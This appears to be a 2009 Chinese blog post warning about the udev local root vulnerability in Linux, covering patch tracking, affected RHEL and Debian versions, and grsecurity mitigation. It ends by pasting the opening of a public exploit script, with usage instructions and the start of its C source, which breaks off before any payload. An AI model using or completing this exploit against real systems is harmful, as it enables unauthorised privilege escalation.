2009年5月2日星期六

udev漏洞

经过验证,我个人认为udev的漏洞是linux有史以来最危险的本地安全漏洞,通杀X86和X64架构下N个发行版的N个大版本和子版本,影响面相当大,互联网的血雨腥风即将到来。

这个漏洞对各大企业的安全人员发起挑战,我们的软件资产管理系统是否有足够的数据支撑我们做下面的事情?

1、给哪些系统打补丁?
2、哪些系统已经打上了补丁?
3、新上线的系统打了补丁了吗?如何发现?

几个主流发行版已经发布了新的udev程序以修复这个问题,不幸中的万幸是修复这个漏洞不需要重启,对业务系统的影响相对小了很多。


我已确认受影响系统:

RHEL 5.X x86和x64
Debian 4.x 5.x x86和x64


最后不得不说一句,各位看官的跳板机赶紧升级,此时此刻最危险的就是它。grsecurity帮我们规避了这次风险,即使没打补丁,黑客也无法利用此漏洞获得root权限,cool!看来非高压的关键业务系统部署高级安全策略还是值得的。

udev[11037]: segfault at 0 ip ac6b949b sp b7f7ae98 error 4 in
libc-2.5.so[ac68c000+13e000]
udev[11370]: segfault at 0 ip 9b80c49b sp b120c868 error 4 in
libc-2.5.so[9b7df000+13e000]

http://milw0rm.com/exploits/8478

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15

没有评论: